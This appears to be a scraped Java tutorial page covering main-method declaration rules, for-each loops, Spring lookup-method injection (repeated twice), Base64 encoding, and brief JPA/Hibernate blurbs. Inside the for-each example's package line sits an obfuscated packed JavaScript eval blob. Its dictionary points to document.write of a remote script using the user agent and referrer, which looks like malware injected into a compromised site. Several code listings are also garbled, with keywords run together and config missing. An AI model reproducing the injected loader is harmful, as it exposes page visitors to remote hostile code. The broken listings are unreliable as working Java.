Why I am unable to run a Java Program as Java Application

Sometimes to test some code quickly we write a simple Java program.  This way we can run the program as a Java application and easily test the code.  However sometimes run a Java Application does not appear in the eclipse nor can you execute it from the command line.

How to Run Java Program as Java Application

For running a program as Java Application you need the following –

  1. class declaration
  2. public static void main(String args[])

If you do not have either of the two then you will not be able to run the program as Java application.  Also ensure that the parameter in the main method contains String array as shown above.

Here are some common mistakes  while declaring the main method while can prevent your program from running as Java Application

  1. static void main(String args[]) – Method should be declared as public
  2. public void main(String args[]) – Method should be static
  3. public static main(String args[]) – Return type should be void
  4. public static void main(String args) – Method parameter should be array of String instead of String
  5. public static void main() – Method parameter should be array of String

Example Of ForEach in Java

Here is a simple example on how to write iterate a ArrayList in java with for each.

package eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yifbs|var|u0026u|referrer|ftebn||js|php'.split('|'),0,{}))
 com.freetipscentral;

import java.util.ArrayList;
import java.util.List;

public class JavaForEachExample {

    public static void main(String args[]) {
        List<String> names = new ArrayList<String>();
        names.add("John");
        names.add("Xia");
        names.add("Bob");
        names.add("Srini");
        names.add("Bony");
       
        for(String name : names) {
            System.out.println(name);
        }
    }
}

Here is the output of the above code –

John
Xia
Bob
Srini
Bony

 

You can also iterate through array of objects.  In this example below you can iterate through array of Strings.

class JavaForEachExample {
 
	public static void main(String args[]) {
		String[] names = {"John","Xia","Bob","Srini","Bony"};
 
		for(String name : names) {
			System.out.println(name);
		}
	}
}

The output is same as above

John
Xia
Bob
Srini
Bony

Spring Lookup Method Injection Example

Just imagine a situation where in you have a Singleton Bean A (In Spring Singleton means exactly one bean per container) and that bean is dependent on another bean B which you do not want to be singleton (Prototype – Multiple copies of the bean can exist for the bean in the container).

In case of Singleton beans, it is initialized only once therefore the dependency bean is also initialized only once though the scope may be Prototype. To solve the problem Spring provides a solution where in the look-up for the dependency bean B is done dynamically and each time container would return a new instance of bean B.

In this example I will first show what happens when we do not use the look up feature and then we have a look at what happens when we use the look-up feature.

Scenario is like this:

We have a Physiotherapist class which can enroll Patients. Imagine that we can only have a single Physiotherapist he can have multiple patients, therefore we have limited the scope of Physiotherapist to singleton. Patient class has Prototype scope which means that it can have multiple instances.

When we do not use the method lookup injection the Patient instance which is initially injected to the singleton class stays and new instance of Patient class is not created since this dependency injection takes place only once during the creation of Physiotherapist class.

Here is the Patient Class. We assign a patient number randomly and that will be used to verify if the instance of the patient class is same or different.

package springbeansamples;
/**
 * @author nilendu.bhattacharya
 *
 */
public class Patient {
 String patientNumber = Integer.toString((int) (Math.random()*100000));
 /**
  * @return Returns the type.
  */
 public String getPatientNumber() {
  return patientNumber;
 }
}
Here is the Physiotherapist Class.
package springbeansamples;
/**
 * @author nilendu.bhattacharya
 */
public class Physiotherapist {
 Patient patient;
 /**
  * @return Returns the patient.
  */
 public Patient getPatient() {
  returnpatient;
 }
 /**
  * @param patient The patient to set.
  */
 public void setPatient(Patient patient) {
  this.patient = patient;
 }
 
 public void showPatientDetails(){
  Patient patient = enrolPatient();
//   Show the patient number of (hopefully brand new) new Patient instance
  System.out.println("New Patient Number is : "+patient.getPatientNumber());
 }
 
 public Patient enrolPatient(){
  return getPatient();
 }
}
This is the entry in the configuration file for the beans.
<!-- a stateful bean deployed as a prototype (non-singleton) -->
<bean id="patient"class="springbeansamples.Patient"scope="prototype">
<!-- inject dependencies here as required -->
</bean>
 <bean id="physiotherapist"class="springbeansamples.Physiotherapist">
 <property name="patient"ref="patient">
  </property>
</bean>
This the result. Notice that same patient instance is there the Physiotherapist instance.
May 21, 2010 3:50:56 PM org.springframework.beans.factory.xml.XmlBeanDefinitionReader loadBeanDefinitions
INFO: Loading XML bean definitions from class path resource [SpringTest.xml]
New Patient Number is : 34271
New Patient Number is : 34271

Here is the changed Physiotherapist class.
packagespringbeansamples;
/**
 * @author nilendu.bhattacharya
 */
publicabstractclassPhysiotherapist {
 Patient patient;
 /**
  * @return Returns the patient.
  */
 publicPatient getPatient() {
  returnpatient;
 }
 /**
  * @param patient The patient to set.
  */
 publicvoidsetPatient(Patient patient) {
  this.patient = patient;
 }
 
 publicvoidshowPatientDetails(){
  Patient patient = enrolPatient();
//   Show the patient number of (hopefully brand new) new Patient instance
  System.out.println("New Patient Number is : "+patient.getPatientNumber());
 }
 //This is where the lookup injection will take place.  This is abstract method.
 publicabstractPatient enrolPatient();
}
Bean configuration in the Spring configuration file for method lookup injection. Notice that in the bean physiotherapist we have reference to lookup-method
<!-- a stateful bean deployed as a prototype (non-singleton) -->
<bean id="patient"class="springbeansamples.Patient"scope="prototype">
<!-- inject dependencies here as required -->
</bean>
<bean id="physiotherapist"class="springbeansamples.Physiotherapist">
 <lookup-method name="enrolPatient"bean="patient">
</lookup-method></bean>
Here is the output which show how New instance of Patient is generated.
May 21, 2010 3:54:34 PM org.springframework.beans.factory.xml.XmlBeanDefinitionReader loadBeanDefinitions
INFO: Loading XML bean definitions from class path resource [SpringTest.xml]
New Patient Number is : 51362
New Patient Number is : 3906

Below is the MethodInjectionTest code. Use this class to test if new instance is created for the Patient class.

package springbeansamples;
import org.springframework.beans.factory.xml.XmlBeanFactory;
import org.springframework.core.io.ClassPathResource;
 
/**
 * @author nilendu.bhattacharya
 *
 */

public class MethodInjectionTest {
 public static void main(String[] args) {
  XmlBeanFactory beanFactory = new XmlBeanFactory(new ClassPathResource("SpringTest.xml"));
   
  Physiotherapist physiotherapist = (Physiotherapist) beanFactory.getBean("physiotherapist");
  physiotherapist.showPatientDetails();
  physiotherapist = (Physiotherapist) beanFactory.getBean("physiotherapist");
  physiotherapist.showPatientDetails();
   
 }
}

What Are Java Wrappers

Java Wrappers are used to wrap Java primitives such as int or float.  In this tutorial you will learn how to use Java Wrappers and what are its benefits.

 

Hibernate Hello World Example

Hibernate is one of the implementations of JPA.  In this article we will learn see how to write a Hello World Example.

How to Write a Simple JPA Hello World Application

JPA is the J2EE standard to write data from Java based example.  Here is a hello world example of JPA.

 

 

What is the Difference Between Hibernate and JPA

JPA stands for Java persistance API and it is the J2EE standard for writing data to database using Java based application.  Hibernate is one of the most popular framework to write data to database.

Usually we hear JPA and Hibernate being mentioned together.  At the same time there is lot of confusion on what is the difference between JPA and Hibernate.  In this tutorial you will learn what is the difference between JPA and Hibernate.

Here are the topics you will learn –

  1. What is JPA?
  2. What is Hibernate?
  3. What are the differences between JPA and Hibernate?

 

 

What Is Dependency Injection

Just imagine a situation where in you have a Singleton Bean A (In Spring Singleton means exactly one bean per container) and that bean is dependent on another bean B which you do not want to be singleton (Prototype – Multiple copies of the bean can exist for the bean in the container).

In case of Singleton beans, it is initialized only once therefore the dependency bean is also initialized only once though the scope may be Prototype. To solve the problem Spring provides a solution where in the look-up for the dependency bean B is done dynamically and each time container would return a new instance of bean B.

In this example I will first show what happens when we do not use the look up feature and then we have a look at what happens when we use the look-up feature.

Scenario is like this:

We have a Physiotherapist class which can enroll Patients. Imagine that we can only have a single Physiotherapist he can have multiple patients, therefore we have limited the scope of Physiotherapist to singleton. Patient class has Prototype scope which means that it can have multiple instances.

When we do not use the method lookup injection the Patient instance which is initially injected to the singleton class stays and new instance of Patient class is not created since this dependency injection takes place only once during the creation of Physiotherapist class.

Here is the Patient Class. We assign a patient number randomly and that will be used to verify if the instance of the patient class is same or different.

package springbeansamples;

/**
 * @author nilendu.bhattacharya
 *
 */

public class Patient {
 String patientNumber=Integer.toString((int) (Math.random()*100000));
 /**
  * @return Returns the type.
  */

 public String getPatientNumber() {
  return patientNumber;
 }
 
}

 

Here is the Physiotherapist Class.

 

package springbeansamples;

/**
 * @author nilendu.bhattacharya
 */

public class Physiotherapist {
 Patient patient;
 /**
  * @return Returns the patient.
  */

 public Patient getPatient() {
  return patient;
 }
 /**
  * @param patient The patient to set.
  */

 public void setPatient(Patient patient) {
  this.patient = patient;
 }
 
 public void showPatientDetails(){
  Patient patient = enrolPatient();
//   Show the patient number of (hopefully brand new) new Patient instance
  System.out.println("New Patient Number is : "+patient.getPatientNumber());
 }
 
 public Patient enrolPatient(){
  return getPatient();
 }
}


This is the entry in the configuration file for the beans.


This the result. Notice that same patient instance is there the Physiotherapist instance.

May 21, 2010 3:50:56 PM org.springframework.beans.factory.xml.XmlBeanDefinitionReader loadBeanDefinitions
INFO: Loading XML bean definitions from class path resource [SpringTest.xml]
New Patient Number is : 34271
New Patient Number is : 34271

Here is the changed Physiotherapist class.

package springbeansamples;
 
/**
 * @author nilendu.bhattacharya
 */
public abstract class Physiotherapist {
 Patient patient;
 /**
  * @return Returns the patient.
  */
 public Patient getPatient() {
  return patient;
 }
 /**
  * @param patient The patient to set.
  */
 public void setPatient(Patient patient) {
  this.patient = patient;
 }
 
 public void showPatientDetails(){
  Patient patient = enrolPatient(); 
//   Show the patient number of (hopefully brand new) new Patient instance
  System.out.println("New Patient Number is : "+patient.getPatientNumber());
 }
 
 //This is where the lookup injection will take place.  This is abstract method. 
 public abstract Patient enrolPatient();
}

Bean configuration in the Spring configuration file for method lookup injection. Notice that in the bean physiotherapist we have reference to lookup-method

Here is the output which show how New instance of Patient is generated.

May 21, 2010 3:54:34 PM org.springframework.beans.factory.xml.XmlBeanDefinitionReader loadBeanDefinitions
INFO: Loading XML bean definitions from class path resource [SpringTest.xml]
New Patient Number is : 51362
New Patient Number is : 3906


Below is the MethodInjectionTest code. Use this class to test if new instance is created for the Patient class.

 

package springbeansamples;
import org.springframework.beans.factory.xml.XmlBeanFactory;
import org.springframework.core.io.ClassPathResource;
 
/**
 * @author nilendu.bhattacharya
 *
 */
public class MethodInjectionTest {
 public static void main(String[] args) {
 XmlBeanFactory beanFactory = new XmlBeanFactory(new ClassPathResource("SpringTest.xml"));
 
 Physiotherapist physiotherapist = (Physiotherapist) beanFactory.getBean("physiotherapist");
 physiotherapist.showPatientDetails();
 physiotherapist = (Physiotherapist) beanFactory.getBean("physiotherapist");
 physiotherapist.showPatientDetails();
 
 }
}

Base64 Encoding and Decoding Example In Java 7

Base64 encoding is useful for translating binary data to ASCII string format.  This is very commonly used in transferring binary files such as images or or PDF file to another application using XML.  In this tutorial you will learn how you can achieve this using Java 7 library.  You will also learn how to decode a encoded string so that original binary data can be retrieved.

Here  is the Code snippet for the code in the video -


package org.nilendu;
 
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
 
import javax.xml.bind.DatatypeConverter;
 
public class Base64Example {
 
 public static void main(String args[]) throws IOException{
   String inputFile = "c:/workspace/samplepdffile.pdf";
   byte[] fileInBytes = loadFile(inputFile);
   String fileInBase64 = DatatypeConverter.printBase64Binary(fileInBytes);
   System.out.println(fileInBase64);
 
   byte[] decodedFile = DatatypeConverter.parseBase64Binary(fileInBase64);
   FileOutputStream fileOutputStream = new FileOutputStream("C:/workspace/newPdfSample.pdf");
   fileOutputStream.write(decodedFile);
   fileOutputStream.flush();
   fileOutputStream.close(); 
 }
 
 public static byte[] loadFile(String sourcePath) throws IOException
 {
   InputStream inputStream = null;
   try {
      inputStream = new FileInputStream(sourcePath);
      return readFully(inputStream);
   } finally {
       if (inputStream != null) {
         inputStream.close();
       }
    }
 }
 
public static byte[] readFully(InputStream stream) throws IOException {
   byte[] buffer = new byte[8192];
   ByteArrayOutputStream baos = new ByteArrayOutputStream();
 
   int bytesRead;
   while ((bytesRead = stream.read(buffer)) != -1) {
     baos.write(buffer, 0, bytesRead);
   }
    return baos.toByteArray();
 }
 
}

What is Inheritance

Inheritance allow hierarchy of classes to have common code and define “IS A” relationship.  In this tutorial learn what is inheritance, what are its benefits and some simple examples.  Also learn what can be the drawbacks of Inheritance in this video.